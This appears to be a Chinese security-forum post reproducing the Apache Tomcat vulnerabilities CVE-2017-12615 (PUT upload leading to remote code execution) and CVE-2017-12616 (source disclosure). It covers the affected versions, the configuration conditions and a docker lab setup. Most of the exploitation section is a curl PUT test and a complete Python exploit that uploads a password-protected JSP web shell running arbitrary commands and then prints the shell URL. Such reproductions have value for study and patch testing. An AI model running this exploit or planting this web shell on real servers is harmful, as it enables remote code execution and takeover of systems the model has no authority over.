找回密码
 注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

  • QQ空间
  • 回复
  • 收藏

© Arry 管理员   /  2018-1-4 13:02  /   0 人收藏

CVE-2017-12615漏洞复现与利用
0x00 漏洞介绍
漏洞编号:
CVE-2017-12615
CVE-2017-12616
漏洞名称:
CVE-2017-12615-远程代码执行漏洞
CVE-2017-12616-信息泄露漏洞
官方评级:
高危
漏洞描述:
CVE-2017-12616:信息泄露漏洞
当Tomcat中启用了 VirtualDirContext时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成代码信息泄露。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
漏洞利用条件和方式:
CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
漏洞影响范围:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围: ApacheTomcat 7.0.0 - 7.0.79
0x01 环境搭建
使用docker搭建漏洞环境
github地址:
[size=13.3333px]https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
0x02 漏洞验证
这里我直接搭建在本地80端口上,linux系统下使用curl直接验证漏洞。
执行命令
  1. curl -XPUT 127.0.0.1/2.jsp/ --data "test"
复制代码

漏洞验证脚本
  1. import requests

  2. import sys

  3. import time



  4. '''

  5. Usage:

  6.     python CVE-2017-12615.py http://127.0.0.1



  7.     shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami





  8. '''



  9. def attack(url):

  10.     user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

  11.     headers={"User-Agent":user_agent}

  12.     data="""<%

  13.     if("fff".equals(request.getParameter("pwd"))){

  14.         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

  15.         int a = -1;

  16.         byte[] b = new byte[2048];

  17.         out.print("<pre>");

  18.         while((a=in.read(b))!=-1){

  19.             out.println(new String(b));

  20.         }

  21.         out.print("</pre>");

  22.     }

  23. %>"""

  24.     try:

  25.         requests.put(url, headers=headers, data=data)



  26.         time.sleep(2)



  27.         verify_response = requests.get(url[:-1], headers=headers)



  28.         if verify_response.status_code == 200:

  29.             print 'success!'

  30.         else :

  31.             print verify_response.status_code



  32.     except :

  33.         "error"



  34. if __name__ == '__main__':

  35.     target_url = sys.argv[1] + '/201712615.jsp/'



  36.     attack(target_url)

  37.     print 'shell: ' + target_url[:-1]

复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
发表评论
您需要登录后才可以回帖 登录 | 注册